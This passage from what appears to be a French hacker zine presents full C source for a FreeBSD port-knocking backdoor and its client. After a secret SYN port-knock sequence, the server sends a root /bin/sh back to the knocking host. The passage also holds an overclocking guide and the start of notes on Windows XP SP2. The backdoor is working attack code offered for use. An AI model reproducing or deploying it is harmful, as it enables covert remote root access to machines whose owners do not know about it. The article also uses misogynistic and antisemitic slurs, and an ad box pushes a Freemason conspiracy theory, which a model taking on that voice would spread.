utilisant des contraintes; psychologique (exemple les cadenas que hacktoad
ouvre en .00001 secondes), physique (qui demande d'arracher l'oeil de
quelqu'un) ou au niveau du traitement/probabilité (Genre les private keys RSA).
Il y a une méthode plus ou moins nouvelle (ok binf, pas nouvelle pentoute...)
que wyzeman a effleure dans le dernier zine qui a sucite mon intérêt y'a plus
ou moins un ans, alors que je suis tomber par hasard sur le site de phenolite.
et que j'ai vu cd00r.c, leur port knocker backdoor.
Si vous s'avez pas c'est quoi un port knocker et que vous êtes des putains
de lopettes paresseuse (comme moi) je vais le résumer très vite: Imaginer
une box, avec toute ses ports closed, qui sniff toute le incoming/outgoing
traffic au raw socket level, et finalement regarde le destination port. En bref
c'est ça. Quand un host trigger un nombre X de port dans un orde
pre-determiné, bingo yer authentifier... la puissance de ce mécanisme réside
dans le nombre X de port. qui pourrait être 42 ou encore le nombre d'asiatique
sur terre, ça et le nombre de port qu'il y a sur une box, soit 2^16. Un
Rappelle sur les probabilité:
(2^16)^X = nombre de combinaison possible.
Je trouves ce système la, comme tel, déjà bon. Mais comme |R ma fait réalise
que si y'avait quelqu'un qui sniffait le traffic et que la port knock séquence
restait toujours la même, jme ferais fourrer comme une vierge saoule a un
after-graduation party. Il m'a donc, suggéré d'implémenter un truc similaire au
one-time-pass ( man skeys, si vous savez pas c'est quoi) que j'ai pas vraiment
eut le temps de finalise...que je nommes one-time- knock...wo0...original. Je
me sers de BPF dans mon code, mais ça devrait être plutôt facile a porter.
Treves de détails inutile, si vous voulez la base d'un port knocker daemon et
gosser avec ça vous aussi, durant une nuit, avec une bouteille de vodka, après
avoir été mal baiser, pour vous remonter le moral, voici le code server/client:
/*
\ Fbsd Portknock Daemon by phawnky
/
\ Based on cd00r.c by FX of phenoelit.de
/
\ This is a non listening connect-back rootshell dropping backdoor.
/ To trigger it, you just need to send SYN flagged packets to the host running this
\ on the port sequence you choose. Anything doing a connect() definatly would work,
/ but as an exercise I made a client for it: portknock-client.c
\
/ TODO:
\ - SENDER based hash table, containing which step is completed individually.
/ - Add One Time Knock support/list generation (credit goes to |R for the idea.)
\ - Mmmm...test it on fbsd 5.X
/ - Port it to linux
\ - Make an open-pam module of it
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// Configs
#define VERBOSE 1 // don't want any outputs? use 0
#define INTERFACE "ste0" // use your external interface for this.
#define CONBACK_PORT 4455 // connect back port...yeah
#define MAX_PORT 65535
#define SEQUENCE_LEN 10
// Prototypes
void connectback(char *dest, int port);
unsigned int **get_next_knock(int max, int num);
int main()
{
int i, fd, flag, n_read, bsize, cport, mport;
unsigned int offset = 0xe;
struct bpf_hdr *header;
struct ifreq ifr;
struct ip *iph;
struct tcphdr *tcph;
char *buf;
char device[sizeof "/dev/bpf0"];
char sender[sizeof "999.999.999.999"];
#fresh
unsigned int **knock;
// Root user check
if (getuid()) {
if (VERBOSE)
fprintf(stderr, "[-] You need root to snort like a man!\n");#fresh
exit(-1);
}
// looking for an openable bpf.
for(i=0; i < 5; i++)
{
sprintf(device, "/dev/bpf%d", i);
fd = open(device, O_RDONLY);
if(fd == -1 && errno == EBUSY) // Busy...
continue;
else // Success, Failure, Not enough priviledges.
break;
}
if (fd == -1) {
if (VERBOSE)
printf("[-] All bpf devices tested (0-4) are busy, or non-existent.\n");
exit(-1);
} else {
if (VERBOSE)
printf("[+] %s isn't busy...\n", device);
}
// getting packet size
if (ioctl(fd, BIOCGBLEN, &bsize) < 0) {
perror("[-] BIOCGBLEN()");
exit(-1);
}
buf = (char*)malloc(bsize);
if (!buf) {
if (VERBOSE)
fprintf(stderr, "[-] Can't malloc() %d bytes.\n", bsize);#fresh
exit(-1);
}
// bind to an interface
strncpy(ifr.ifr_name, INTERFACE, sizeof(ifr.ifr_name)-1);
ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) == -1) {
if (VERBOSE)
perror("[-] BIOCSETIF()");
exit(-1);
} else {
if (VERBOSE)
printf("[+] %s bound to %s\n", device, INTERFACE);
}
// get data immediatly
flag = 1;
if (ioctl(fd, BIOCIMMEDIATE, &flag) < 0) {
perror("BIOCIMMEDIATE()");
exit(-1);
}
// Setting up sequence
knock = get_next_knock(MAX_PORT, SEQUENCE_LEN);
mport = SEQUENCE_LEN;
cport = 0;
// Infinity starts here.
while(1)
{
bzero(buf, bsize);
n_read = read(fd, buf, bsize);
if (n_read == -1 ) {
if (VERBOSE)
perror("[-] read()");
exit(-1);
} else {
header = (struct bpf_hdr *) buf;
iph = (struct ip *)(buf + header->bh_hdrlen + offset);
// This is where the tests begins#fresh
if (iph->ip_v == 4 && iph->ip_p == 6) { // IPv4 && TCP/IP packet, look'n good.
tcph = (struct tcphdr *) (buf + header->bh_hdrlen + offset + (iph->ip_hl<<2));
if ( (tcph->th_flags & TH_SYN) && // SYN is good
! (tcph->th_flags & TH_ACK) && // no ack
! (tcph->th_flags & TH_RST) && // no rst
! (tcph->th_flags & TH_URG) && // no urg
! (tcph->th_flags & TH_FIN)) { // no fin
if (htons(tcph->th_dport) == *knock[cport]) { // Port match
if (cport == 0)
strncpy(sender, inet_ntoa(iph->ip_src), sizeof(sender)-1);
// Making an hash table based on hosts
// Would make this MUCH more reliable.
if(strcmp(sender, inet_ntoa(iph->ip_src)) != 0) {
if (VERBOSE)
printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n",
inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),knock[cport]);
cport = 0;
continue;
} else { // same sender
if (VERBOSE)
printf("[+] %s - Knock #%d [%d/%d] - Accepted\n",
inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport), *knock[cport]);
if (++cport == mport) { // end of knock sequence reached
cport = 0;
// Getting next knock sequence
free(knock);
knock = get_next_knock(MAX_PORT, SEQUENCE_LEN);
sleep(1);
// Dropping shell
connectback(inet_ntoa(iph->ip_src), CONBACK_PORT);
}
continue;
}
} else { // Port dosen't match
if (VERBOSE)
printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n",
inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),*knock[cport]);
cport = 0;
continue;
}
} // Flag's test failed
} // IP version, or protocol type failed
} // read() didn't fail o_O
} // while(1)
} // main()
void
connectback(char *dest, int port)
{
struct sockaddr_in sin;
int s, i;
int pid;
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(dest);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0 || (connect(s, (struct sockaddr *) &sin, sizeof(sin))) < 0) {
perror("[-] connect()");
return;
}
if (VERBOSE)
printf("[+] Connected to %s:%d, dropping shell!\n", dest, port);
if(!fork())
{
for(i=0; i < 3; i++)
dup2(s, i);
send(s, "[ r00t! ]\n", sizeof("[ r00t! ]\n"), 0);
execl("/bin/sh", "kewt", 0x00);
exit(0);
}
close(s);
}
unsigned int **get_next_knock(int max, int num)
{
int i;
unsigned int **knock;
srand(time(0x00));
knock = malloc(sizeof(unsigned int *));
for(i=0; i <= num; i++)
knock[i] = malloc(sizeof(unsigned int) * num);
for(i=0; i < num; i++)
*knock[i] = (rand() % max) + 1;
*knock[i] = 0x00;
// Display
printf("[+] Next knock: ");
for(i=0; *knock[i]; i++)
printf("%d ", *knock[i]);
printf("\n");
return knock;
}
/*
\ PortKnock Client [works on Fbsd 4.X]
/ It's just a SYN packet crafter...
\
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SRC_PORT 1337
#define CONBACK_PORT 4455
//Prototype
void usage(char *prog);
int listen_cb(int port);
int shell(int sockfd);
int main (int argc, char *argv[])
{
int s, i, pcount, one=1;
int *val = &one;
char datagram[4096];
char pseudohdr[1024];
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
int tcphdr_size = sizeof(struct tcphdr);
if(argc < 2)
usage(argv[0]);
if(getuid()) {
fprintf(stderr, "[-] getuid(): Raw socket operations need uid 0.\n");
exit(-1);
}
if(!gethostbyname(argv[1])) {
fprintf(stderr, "[-] gethostbyname(): Invalid host: %s\n", argv[1]);
exit(-1);
}
for(pcount = 0; argc > 2; argc--)
pcount++;
for(i=0; i < pcount; i++)
{
s = socket (PF_INET, SOCK_RAW, IPPROTO_IP);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[i+2]));
sin.sin_addr.s_addr = inet_addr(argv[1]);
bzero(datagram, sizeof(datagram));
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->ip_id = htons(31337);
iph->ip_ttl = 250;
iph->ip_p = 6;
iph->ip_src.s_addr = INADDR_ANY;
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons(SRC_PORT);
tcph->th_dport = htons(atoi(argv[i+2]));
tcph->th_seq = htonl(31337);
tcph->th_off = sizeof(struct tcphdr)/4;
tcph->th_flags = TH_SYN;
tcph->th_win = htons(57344);
if (tcphdr_size % 4 != 0)
tcphdr_size = ((tcphdr_size % 4) + 1) * 4;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {
fprintf(stderr, "[-] setsockopt(): Can't set HDRINCL!\n");
exit(-1);
}
if (sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin, sizeof (sin)) < 0) {
perror ("sendto");
exit(-1);
}
printf("%s:%d -SYN-> %s:%d\n", inet_ntoa(iph->ip_src.s_addr), SRC_PORT, argv[1], atoi(argv[i+2]));
} // for()
listen_cb(CONBACK_PORT);
}
void
usage(char *prog)
{
printf("Correct usage:\n"
"--------------\n\n"
"%s ... \n", prog);
exit(-1);
}
int
listen_cb(int port)
{
struct sockaddr_in sout;
int s, client, sz_client;
bzero(&sout, sizeof(sout));
sout.sin_family = AF_INET;
sout.sin_addr.s_addr = INADDR_ANY;
sout.sin_port = htons(CONBACK_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
perror("socket()");
exit(-1);
}
if (bind(s, (struct sockaddr *) &sout, sizeof(sout)) < 0) {
perror("[-] Bind()");
exit(-1);
}
if (listen(s, 2) < 0) {
perror("[-] Listen()");
exit(-1);
}
client = accept(s, 0x00, 0x00);
if (client > 0) {
printf("[+] Got shell...dropping it!\n");
shell(client);
}
return(0);
}
// Ripped from some dcom sploit, I already reinvented the wheel too much, for my own good.
int
shell(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;
FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
while(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
if(FD_ISSET(sockfd, &fdreadme))
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf("[-] Connection Terminated by jew!\n");
exit(1);
}
if(write(1, rb, i) < 0) break;
}
if(FD_ISSET(0, &fdreadme))
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf("[-] Connection Terminated by jew!\n");
exit(1);
}
if (send(sockfd, rb, i, 0) < 0) break;
}
}
printf("[-] Connection closed by foreign host..\n");
exit(0);
}
Phawky
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
| i|#hack.fr, c'est aussi....binf \___________________ ___ __ _ |
| I| \ |
| I| (beware of the stonecutters) '-=[ Mk-110 ]=-|
| // |
| L\:-=[ ecoute dit toi que si ca passe a radio canada c'est approuver ]=--[~~]----|
| [par des conseils masonique. ] \/ |
[ enfait quasi tout ton information est controler ou ] |
| [scruter/aprouver par des masson ] Statistics
| [ http://pages.infinit.net/fmmtl/ ] are used
| [ http://www.francmaconnerie.ca/ ] by people |
[ derriere chaque divertissement ] who have |
[ ya dla massonerie ] no proof |
| [ surtout en amerique du nord ou la massonerie est hyper rependue ]
|-[~]-=[ y'a tu de la massonerie derrière ta propagande ]
]=-----:\T |
| // |
|I
|i
'_______________________________________.I[ Event ]I._________________________________+____'
.---+-=[ Overclocker sont Hardware ]=------+---------------------------=[07]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[Spider ]=-|
| // |
| L\:-=[Ak : scoty il nous faut plus de puissance!!! ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Moi j'me dit qu'un ordi c'est comme un char dans le fond. Y'en a qui paye cher
pour avoir un bon char, y'en a qui paye cher pour mettre des néons pi des trucs
pour flasher, et y'en a qui modifie le moteur avoir plus de performance. Nous,
on modifie la vitesse à laquelle nos périphériques fonctionnent. Avec un bon
overclocking stable, il est possible d'obtenir un gain de performance asser
important, entre 20% et 35%. Par contre, avec un overclocking extrême, on peut
aller chercher un gain de performance beaucoup plus élevé soit 50%, 60%, 70% et
parfois plus. Pour des raisons monétaires et parce qu'on veut garder notre
hardware le plus longtemps possible, je vais me contenter de vous expliquer la
base de l'overclocking. À part la performance, il a plusieurs autres avantages
à l'overclocking, Ca va entre autres vous permettre de connaître beaucoup
mieux le fonctionnement au niveau hardware de votre ordi. Mais la vrai raison
pourquoi c'est cool d'over-clocker c'est que sa fait toujours élite de parler
de tsa à vos amis...
...tsé genre "i'm l33t motherfucker"
**** L'overclocking annule théoriquement les garanties. Allez y
**** donc avec modération pour ne pas faire griller vos périphériques.
Pour commencer, une chose importante et malheureusement souvent négligée pour
tout pc, même si on ne prévoit pas d'overclocker c'est le case. Il vous faut un
bon boîtier performant qui va permettre un bon flow d'air, qui va être
pratique, grand, solide, facile d'accès, jolie, avec une statuette en bronze
représentant une danseuse hawaiienne sur le dessus (pour la chance). Plusieurs
cases sont très bien cotés, entre autre ceux de ANTEC. Pour de plus amples
informations, consulter le site suivant:
---> http://www.antec.com/us/pro_enclosures.html
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
1. CPU OVERCLOCKING
Ensuite on overclock... pratiquement la totalité des cartes mères disponibles
de nos jours possèdent les options pour clocker sont système manuellement dans
le bios. Par contre certains systèmes sont bloqués et on ne peu pas changer les
settings comme on le veut. Il faut parfois faire des modifications physiques à
sont hardware comme relier des circuits ou souder des ponts pour les débloquer.
Pour savoir ça il n'a qu'une solution et c'est d'aller rechercher sur le net
des review d'autres personne qui ont déjà overclocké le même hardware.
Maintenant on commence avec les 2 settings qui vont influencer le plus la
vitesse de votre pc et avec lesquelles on peut jouer.
CPU External Frequency aka Front Side Bus(FSB):
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Le fsb est le bus de donné qui transert le data du processeur à la mémoire et
l'inverse( en gros ). Donc la vitesse du fsb change beaucoup les performances
du pc. Le CPU External Frequency, quant à lui, c'est la vitesse à laquelle le
cpu va pitcher le data dans le front side bus.
CPU Frequency Multiple aka CPU Frequency Multiple:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
C'est ce chiffre là qui, une fois multiplié avec la fréquence du processeur, va
donner la vitesse à laquelle le processeur va runner. Exemple: ta un cpu ext.
freq. à 210 mhz et un multiplicateur à 9.5 ben ton processeur va rouler à 1995
mhz ~2.0 ghz.
Maintenant, c'est ben l'fun modifier ces settings là dans le bios mais qui
dit overclocking dit dégagement de chaleur important donc c'est là que le
cooling entre en jeu. Pour cooler efficacement et à prix raisonnable un cpu je
recommande les heatsink ZALMAN. Ils sont très efficaces et très silencieux.
---> http://www.zalmanusa.com/usa/product/code_list.asp?cate=03040506
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Il est important aussi d'appliquer de la pâte thermique. Cette pâte a pour
but de combler toutes irrégularités sur la surface du cpu et du heatsink de
façon à ce que le contact entre les deux soit parfait, ce qui permet un échange
de chaleur optimal. Il n'a pas vraiment de qualité pour la pâte thermique mais
on entend souvent dire que la arctic silver 5 est la meilleur.
Asteur le principe de base de l'overclocking est de premièrement baisser le
un peu multiplicateur et monter la fréquence du cpu de 5 mhz graduellement de
façon à trouver la plus haute fréquence qui est supporté par vos composant. Si
votre pc ne démarre pas, c'est soit que la fréquence n'est carrément pas
supporter par votre hardware ou soit que le CPU manque de jus. Dans le premier
cas, suffit de débrancher l'alimentation et d'attendre quelques secondes pour
que sa revienne. Dans le second, vous pouvez monter le voltage de votre CPU
dans le bios en utilisant le menu Vcore. Plus le voltage est haut, plus vous
aller faire chauffer le CPU. Il ne faut pas oublier qu'un haut voltage aura
également pour effet de réduire la durée de vie de votre matériel. Un voltage
raisonnable se situe entre 1.7 et 1.8. Une fois que vous avez trouver la
fréquence maximale, montez le multiplicateur par coup de .5, tout en
surveillant la température. Une fois le pc booté, faite une coupe de test de
benchmark de suite pour s'assurer que le pc est stable. Pour cela, il existe
plusieurs programmes, le plus connu étant 3Dmark. Mais plusieurs autres
programmes peuvent être utilisés tel CPU burn qui est spécialement conçu pour
faire chauffer le CPU. En passant, essayer de ne pas dépasser les 50 degrés
celcius en pleine charges. Plus votre CPU reste froid, mieux il performe et
plus sa durée de vie va être élevée. Comme vous avez remarqué, tous ces
programmes sont sous windows. Pour linux et bien... et bien je dois avouer que
j'ai pas overclocker de pc utilisant linux parce que j'ai seulement besoin
d'extrême performance pour jouer à des jeux, donc windows. Donc si les 2 tests
de benchmark se déroulent parfaitement ça veut dire que le pc est stable donc
on peut essayer de le monter plus. Si vous obtenez un blue screen sa signifie
que le cpu n'est pas stable et pour stabiliser ça il suffit d'augmenter par
coup de .25 le voltage du cpu. Si le programme de benchmark ou n'importe quel
application 3D se ferme tout seul, c'est probablement un problème de mémoire,
c'est ce qu'on va voir à l'instant.
2. MEMORY OVERCLOCKING
Maintenant on peux continuer avec la mémoire. Pour commencer il faut bien
cooler la mémoire puisqu'on va augmenter son voltage. Une tonnes de gadget sont
disponibles pour cooler la mémoire mais moi je vous conseil simplement un petit
heatsink en cuivre qui coute environ 12$.
---> http://www.tuning-pc.com/images/products/bbddrcpr.jpg
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Les 2 options sur lesquelles on n'a le contrôle c'est les timings de mémoire
et son voltage. Si, lors d'un test de benchmark vous obtenez une fermeture de
l'application involontaire suivi d'un retour à windows, ça veut dire d'aller
monter le voltage de la mémoire (dans le bios). Habituellement, monter la
mémoire de .1 volt règle le problème. Attention de ne pas trop monter le
voltage de la mémoire, à moins que vous ayez une mémoire de bonne marque comme
Corsaire, OCZ ou kingston qui sont garantie à vie.
Les timings mémoire sont des "délais de sécurité" destinés à éviter les
erreurs lorsque le pc lit ou écrit dans la mémoire. En gros, si on essaye
d'accéder à telle adresse de mémoire en une demi seconde, ya plus de chance
qu'une erreure arrive que si on y accède en 3 secondes.
Les timings fonctionnent avec les cycles d'horloges. C'est à dire que pour un
FSB de 166 Mhz, le système fait 166 millions de cycles par secondes, donc
chaque cycle dure 6 nanosecondes. Pour un FSB de 200 Mhz chaque cycle va durer
5 nanosecondes, et ainsi de suite. On voit bien l'intérêt de construire des
systèmes avec le FSB le plus haut possible.
Il existe plusieurs timings qui ont une influences plutôt médiocre sur
les performances globale du système. Cependant, il en a deux particulièrement
intéressant.
Cas Latency:
¯¯¯¯¯¯¯¯¯¯¯¯
C'est le temps minimum que ça va prendre pour accéder à une "colone" de
mémoire. Pour de la mémoire DDR (Double Data Rate) il est généralement de 2.5
cycles. Il est habituellement possible de l'abaisser à 2 mais certain système
ne seront pas stable. Quelques fois vous aurez besoin d'augmenter le voltage
pour que ça passe. Une fois booter, faite 3 ou 4 shot de MemTest, petit
programme qui bench la ram pour voir si elle est stable.
Precharge To Active:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
C'est tout simplement le temps à attendre avant de traiter une nouvelle demande
d'accès mémoire. Habituellement, plus le FSB est haut, moins on peut avoir des
timings agressif. Dans ce cas, il n'est pas rare de rencontrer 6, 7 et même 8.
Encore une fois, settez le le plus bas possible et faite une coupe de memtest.
2.1 DÉSYNCHRONISATION DE LA MÉMOIRE
Cette technique consiste à désynchroniser la mémoire et le processeur.
Parfois, faire runner la mémoire moins rapidement que le processeur peut
permettre d'augmenter plus le CPU avant que la mémoire ne suive plus. Il y a
souvent une option dans le BIOS ( ça ressemble à "memory frequency" ) pour
setter à combien de % on veut que la ram fonctionne par rapport au CPU.
Exemple : Si vous êtes rendu à 200mhz de FSB et que votre ram ne supporte pas
plus haut, on désynchronise la ram à 90%. votre ram va runné à 180 mhz pendant
que votre FSB va runné à 200mhz, donc on peut essayer de monter le FSB à 220mhz
et votre ram va n'être qu'à 200mhz. La plus part du temps par contre, cela va
vous faire perdre de la performance plutôt qu'en gagner. Cette technique n'est
donc pas vraiment conseillée.
3. GRAPHIC CARD OVERCLOCKING
Pour commencer il est important de bien cooler certaines parties de la carte
pour les même raisons que la mémoire. Repérez les chipset de mémoire sur votre
carte 3D et mettez leur chacune un heatsink, préparé maison avec un vieux
heatsink que vous aurez scier et un peu de colle ou de pâte thermique ou
whateter, en autant que le heatsink soit parfaitement coller sur la chip de
mémoire. Prenez garde car certaine carte on des chipset de chaque coté de la
carte. Ensuite il faut analyser votre system de cooling pour le GPU. S'il est
satisfaisant vous n'aurez pas à le modifier, en cas contraire, enlever le
system de cooling d'origine et remplacer le par un heatsink et un fan de
processeur ou achetez-en un faite spécialement pour votre carte vidéo sur
internet.
Pour les performances 3d, on n'a accès à 4 settings;
La fréquence du GPU (graphic processing unit), la fréquence de la mémoire, la
fréquence du port agp et le voltage du port agp. Je crois que des explications
sur ces termes seraient superflus alors passons immédiatement à la technique.
Le principe est d'augmenter la mémoire jusqu'à temps que, lors d'un test de
3dmark, vous voyez des artifacts. ça c'est des petits points blanc, des lignes,
ou n'importe quelles irrégularités dans votre image. Ça veut dire que vous êtes
rendu trop haut. Ensuite, vous pouvez monter le GPU. Si votre image gèle
pendant un bench ou un jeu 3D, ça veut dire que vous êtes rendu trop haut.
c'est aussi simple que ça. Pour monter la fréquence de la mémoire et du GPU, si
vous avez une chipset ATI, il existe plusieurs programme mais je crois que le
plus performant s'appelle RivaTuner. Si vous avez une chipset Nvidia,
copier/coller cette clé dans un fichier .reg et exécuter le. Vous aller
dorénavant avoir accès à un menu "Fréquence d'horloge" dans les propriétés de
Nview ( bouton de droite sur le bureau, propriété, paramètre, avancé, l'onglet
portant le nom de votre carte ).
-------8<--------------cut here-----------------8<-------------------
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\NVIDIA Corporation\Global\NVTweak]
"Coolbits"=dword:ffffffff
-------8<--------------cut here-----------------8<-------------------
Vous pouvez également augmenter la fréquence du port AGP dans le bios. Pour
gagner un peu de performance sans risquer de faire griller le port AGP, passez
de 66 à 75 mhz et monter le voltage de 0.1.
4. CONCLUSION
Ça me tente pas de faire de conclusion.. de toute facon on dit jamais rien
d'important dans une conclusion.
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
| i|#hack.fr, un endroit accueillant et stimulant \___________________ ___ __ _ |
| I| \ |
| I| '-=[ Mk-110 ]=-|
| // |
| L\:-=[ je recherche des IPC ou SQL pour faire un bot-scan pi ]=--[~~]----|
| [apres je lui redonne son IPC ou SQL pi i vient ds team, de bot-scan ] \/ |
[ jlui re donne le double de IPC ou SQL ou i vient ds team ] |
| [de bot-scan ] there is
| [ c les 2 sort de rconpence ] no spoon
| [ et pkoi tu vien me dire ca ? ] |
[ bin si ta des IPC ou SQL ] |
[ pkoi jaurais ca ? ] |
| [ jvois pas comment ta pu penser que je ferais du scann ]
| [ bin i na un qui ma dit que tu fait un peut de warez jcroit ] |
|-[~]-=[ ben ca marrive de downloader un mp3 sur emule je lavous ]
]=-----:\T |
| // |
|I
|i
'_______________________________________.I[ Event ]I._________________________________+____'
.---+-=[ Notes sur windows XP SP2 ]=------+---------------------------=[08]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[Lastcall_ ]=-|
| // |
| L\:-=[Ak : C'est ça mais c'est pas ça ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Note sur les notes :
J'ai écrit ces notes dès que le SP2 a sorti, en fait, j'avais même installé le
SP2 sur un ordi dans le temps que y'était BETA pis que ça la toute chier
un moment donné a cause du Windows update (dsl encore mio :-P). Bref, cet
article était supposer être releasé en août, donc est pu trop trop "actuel
hot". Le voici donc en version "fini sous le rush 4 mois plus tard". Par
contre, je vous garanti que même si vous avez (et sacrer après) le SP2
depuis qq mois, vous allez apprendre quelques facts intéressants à propos de
cette fameuse patch de la mort qui tue.
Chose que SP2 fait in a nutshell
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
- New firewall qui marche par application (comme tiny personal firewall et
zone alarm)
- Le new firewall BLOCK ALL par defaut et permet des applications/ports
exceptions, et peut etre mis en nazi-mode (aka On with no exceptions)
- L'ancien firewall est encore la, en faite il sert de "ouvreur de ports par
interface" (aka exactement cki fesait avant le SP2). C'est la seule chose qui
a été laisser "laide" pour pas nous gosser.. ou yon faite ça parce que le
nouveau firewall est pas a la même place sua stack (genre l'ancien serait
direct sur l'interface, le nouveau un layer plus haut.. *suppositions ici voir
sections suppositions*)
- Un "Security Center" vous gosse d'installer un anti-virus, de mettre le
firewall et les auto-updates a on
- Un popup blocker dans IE
- Un service qui scan pour les bad attachements dans Outlook pis MSN/Windows
Messager. Il start aussi l'anti-virus automatiquement.
- Un équivalent de "Hijackthis" pour IE + liste des